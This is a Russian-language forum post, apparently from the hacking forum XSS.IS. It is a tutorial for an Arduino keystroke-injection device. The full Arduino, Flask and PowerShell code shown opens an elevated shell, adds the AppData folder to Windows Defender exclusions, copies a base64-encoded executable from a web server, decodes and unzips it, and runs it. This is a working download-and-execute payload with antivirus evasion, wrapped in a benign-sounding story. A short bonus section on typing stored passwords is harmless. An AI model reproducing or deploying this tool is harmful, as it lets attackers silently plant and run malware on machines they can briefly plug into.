Подкачка файлов с помощью Arduino

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

Предисловие​

В данной статье будет показано, как сделать загрузчик файлов с сервера, используя Arduino.

P.S. Эта идея пришла ко мне во время написания нейросети для игр в связке с Arduino, и мне показалось хорошей идеей при запуске Arduino на новом компьютере сразу получать архив с нейросетью. Однако в данной статье будет показано, как в принципе реализовать загрузку абсолютно любого файла.

Принцип работы​

Будет написан простейший сервер на Flask с одной страницей, на которой будет находиться файл, который нужно будет подкачивать. Файл будет отображаться в виде строки base64.
Также будет написана программа для конвертации exe в формат текста base64.
Затем, при подключении Arduino и с помощью эмуляции клавиатуры и мыши, оно будет заходить на страницу с файлом в виде текста, копировать этот текст. Затем создавать на компьютере файл формата txt, вставлять в этот файл скопированный текст и сохранять. Далее будет вызываться PowerShell для конвертации файла из base64 в бинарный формат и сохранения конвертированных данных в новый файл, но уже формата exe или любого другого, который вам нужен.
Затем будет следовать запуск получившейся программы.
Также будет предусмотрено добавление файла в исключения Windows Defender.

P.S. Вся работа с Arduino будет сведена к эмуляции и только к ней, то есть всё, что будет делать Arduino, будет отображаться на экране, и скрыть это будет нельзя.

Сервер на Flask​

Первым делом будет написан простейший сервер на Flask. Файл Python будет называться server.py, в нём сразу же нужно написать простейшую логику с одной страницей.
Python: Скопировать в буфер обмена
Код:
from flask import Flask


app = Flask(__name__)
@app.route('/')
def index():
   return

При переходе на страницу index ничего не будет отображаться, так как return ничего не возвращает. Можно сделать отдельный HTML файл и возвращать его, в таком случае весь контент из HTML файла будет успешно отображаться, но мне показалось это лишним действием, и можно поступить по-другому.

Нужно создать переменную, в которую в дальнейшем будет вставлено приложение в виде текста, и в return просто возвращать эту переменную.
Python: Скопировать в буфер обмена
Код:
text_block = "Приложение в виде текста"


@app.route('/')
def index():
   return text_block

Далее нужно указать запуск Flask приложения при запуске этого Python файла.
Python: Скопировать в буфер обмена
Код:
if __name__ == '__main__':
   app.run(debug=True)
(debug=True) означает, что запущенное в этом режиме приложение будет отображать подробные ошибки в случае их возникновения. Также при изменении кода во время работы приложения изменения будут применяться автоматически без необходимости его перезапуска.

Для продакшена нужно будет указать IP и порт сервера. Это можно сделать там же, где выставлен флаг для запуска в режиме отладки.
Python: Скопировать в буфер обмена
app.run(host="0.0.0.0", port="1488", debug=True)
"При указании IP в виде 0.0.0.0 на страницу можно будет перейти как по локальному адресу 127.0.0.1, так и по IP, доступному для каждого пользователя.

С сервером закончено, и теперь нужно написать программу для конвертации нужного файла в текст."

Конвертер файла в текст base64​

Программа будет просто брать файл по указанному пути, читать его в бинарном формате, а затем записывать прочитанные данные в простой TXT-файл в виде строки base64.
Python: Скопировать в буфер обмена
Код:
input_path = ""
output_path = ""


# Чтение файла в бинарном режиме
with open(input_path, 'rb') as file:
   file_bytes = file.read()


# Конвертация байтов в Base64
file_base64 = base64.b64encode(file_bytes)


# Запись Base64 строки в текстовый файл
with open(output_path, 'wb') as output_file:
   output_file.write(file_base64)


print(f"Файл успешно сохранён в {output_path}")

Вот что получается на выходе при запуске программы конвертации:
1729546126936.png



Далее нужно просто вставить эти данные в Flask-приложении в переменную text_block, и после его запуска страница index будет выглядеть таким образом:
1729546196661.png



P.S. Конвертация файла в base64 и сервер были разделены на два проекта для наглядности. Можно сделать конвертацию прямо при запуске Flask-приложения и возвращать данные сразу же на странице, без сохранения base64 данных в TXT и без ручной вставки этих данных на страницу.
Python: Скопировать в буфер обмена
Код:
import base64
from flask import Flask

app = Flask(__name__)

input_path = "Путь до файла"


# Чтение файла в бинарном режиме
with open(input_path, 'rb') as file:
   file_bytes = file.read()


# Конвертация байтов в Base64
file_base64 = base64.b64encode(file_bytes)


@app.route('/')
def index():
   return file_base64


if __name__ == '__main__':
   app.run(host="0.0.0.0", port="1488", debug=True)

Возможные вопросы по реализации​

Почему просто не записать байты нужного приложения прямо в Arduino?
Это не получится сделать, так как память Arduino крайне мала, и на него не поместится даже 1 МБ данных. Это можно исправить, купив отдельный модуль с разъемом для флешки, но в данный момент у меня его нет.

Как Arduino соберет эти данные обратно в файл?
Сам Arduino не заточен под выполнение подобных задач и конвертировать обратно из base64 в байты он не сможет. Поэтому в дальнейшем Arduino будет запускать команду PowerShell, которая будет производить конвертацию с помощью встроенных функций в Windows.

P.S. На Arduino есть библиотека, позволяющая конвертировать base64, но для этого ей потребуется загрузить в себя данные, которые без модуля для подключения флешки не влезут.

Почему бы просто не отобразить бинарные данные прямо на сайте, а не в base64?
Проблема в кодировке. В браузере не получится отобразить бинарные символы, и они просто будут сломаны.
Также я попытался не отображать бинарные данные, а сделать так, чтобы при открытии страницы они сразу отправлялись в буфер обмена. В итоге возникла такая же сложность с кодировкой.

Итак, когда сервер готов, и подкачиваемый файл конвертирован в нужный формат, можно приступать к реализации логики на Arduino.

Arduino логика​

Вся логика будет построена только на эмуляции клавиатуры. Для этого в коде Arduino нужно импортировать библиотеку Keyboard.h. Вся логика будет срабатывать только при подключении Arduino, а не постоянно, поэтому весь код будет записан в void setup(). Первое, что будет реализовано, — это добавление папки appdata/roaming в исключения Windows Defender (именно в этой папке будет храниться файл).

C++: Скопировать в буфер обмена
Код:
void setup() {
  delay(2000);
  Keyboard.begin();
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.releaseAll();
  delay(500);
  Keyboard.print("powershell");
  delay(500);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(2000);
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press('y');
  Keyboard.releaseAll();
  delay(1000);
  Keyboard.print("Add-MpPreference -ExclusionPath $env:APPDATA");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(500);
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  Keyboard.releaseAll();
  delay(1000);
}
Задержка в начале нужна для того, чтобы компьютер успел распознать Arduino как клавиатуру. Далее происходит нажатие на кнопку Windows, вводится PowerShell и запускается с администраторскими правами (эмуляция Ctrl + Shift + Enter). После этого в него вводится команда для добавления папки в исключения, и затем происходит закрытие.

P.S. Очень важно, чтобы при подключении Arduino к компьютеру язык ввода был английским, иначе вместо команд будет простое месиво из букв.

Далее следует открыть браузер, перейти на страницу с данными и скопировать с нее данные.
C++: Скопировать в буфер обмена
Код:
Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.print("msedge ");
  Keyboard.print("http://127.0.0.1:1488/");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(5000);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('a');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('c');
  Keyboard.releaseAll();
  delay(1000);
Открытие браузера происходит через Win + R. К сожалению, сделать так, чтобы запускался любой браузер по умолчанию, нельзя, поэтому был выбран стандартный браузер в Windows. Пауза в 5 секунд нужна для того, чтобы страница успела прогрузиться. К сожалению, Arduino не может следить за выполнением каких-либо процессов на компьютере, поэтому после каждого действия приходится ставить примерную паузу.

Теперь текст копируется, и нужно сделать открытие Блокнота и сохранение в него данных.
C++: Скопировать в буфер обмена
Код:
Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.print("notepad");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(1000);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('v');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('s');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.print("%APPDATA%\\Document.txt");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(2000);
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  Keyboard.releaseAll();
  delay(1000);
Для тех, кто не пользуется биндами, Ctrl + S сохраняет файл. %APPDATA% указан именно так, чтобы не указывать пользователя.

Далее нужно запустить PowerShell, чтобы конвертировать base64 в бинарный формат и сохранить эти данные в файл с нужным форматом.
C++: Скопировать в буфер обмена
Код:
Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(500);
 
  Keyboard.print("powershell");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  delay(2000);
 
  Keyboard.print("$inputFile = \"$env:APPDATA\\Document.txt\"; ");
  Keyboard.print("$outputFile = \"$env:APPDATA\\Program.zip\"; ");
  Keyboard.print("(Get-Content $inputFile -Raw) | ForEach-Object { [System.Convert]::FromBase64String($_) } | Set-Content -Path $outputFile -Encoding Byte; ");
 
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
 
  delay(2000);

Так как у меня файл ZIP и в нем уже находится EXE-файл, нужно дополнительно в PowerShell ввести команду для разархивации.
C++: Скопировать в буфер обмена
Код:
Keyboard.print("Expand-Archive -Path $outputFile -DestinationPath \"$env:APPDATA\\Unzipped\" -Force; ");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();

Далее следует запустить, наконец-то, файл.
Python: Скопировать в буфер обмена
Код:
Keyboard.print("Start-Process \"$env:APPDATA\\Unzipped\\Soft.exe\";");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  Keyboard.end();
Последнюю строку нужно указывать, когда абсолютно все действия с эмуляцией мыши закончены.
P.S. Если ваш файл требует администраторских прав, то это можно обойти, также используя эмуляцию.

Бонусная идея для реализации​

Как бонус, хотелось бы показать еще один вариант применения эмуляции на Arduino. А именно — автоматический ввод пароля. Например, используя VeraCrypt или какой-то очень важный для вас сайт, можно указать пароль длиной 50-100 символов, и с помощью Arduino такой пароль ввести гораздо проще.
C++: Скопировать в буфер обмена
Код:
void setup() {
  delay(2000);
  Keyboard.begin();
  Keyboard.print("dsfgjdjfojdslkfjodsjfj12j43213j4iojf843ur21dsim3#21esafm90823r!!~@$234fndijs324");
  Keyboard.end();
}
Разумеется, это самый банальный код; важна идея, которую можно развивать.
Например, если у вас имеется модуль матричной клавиатуры, можно сделать список паролей и запускать эмуляцию конкретного пароля при нажатии конкретной клавиши или нескольких клавиш. Таким образом, получится физическое хранилище паролей.
Также, используя подобную клавиатуру, можно добавить запуск действий только при вводе пароля от Arduino или вообще докупить модуль для отпечатка пальца для этого.
Кроме того, с такой клавиатурой и модулем для SD-карт можно сделать подгрузку конкретных программ на компьютер без использования сервера.
1729546441349.png


Вывод​

Статья получилась супер простой, но показанные в ней идеи мне показались достаточно интересными; каждую из них можно развивать, купив различные модули. Возможно, я приобрету их в дальнейшем и покажу готовые и улучшенные варианты того, что было реализовано в статье. Если у вас появились свои идеи о том, как можно использовать Arduino, с удовольствием об этом прочитаю и попробую реализовать.

Ссылка на статью в виде документа: https://docs.google.com/document/d/1DUs68kaIVmQmu7t1QAfHwMj8K_sbYRCwkG2VKCxpsr0/edit?usp=sharing

Сделано OverlordGameDev специально для форума XSS.IS
 
Сверху Снизу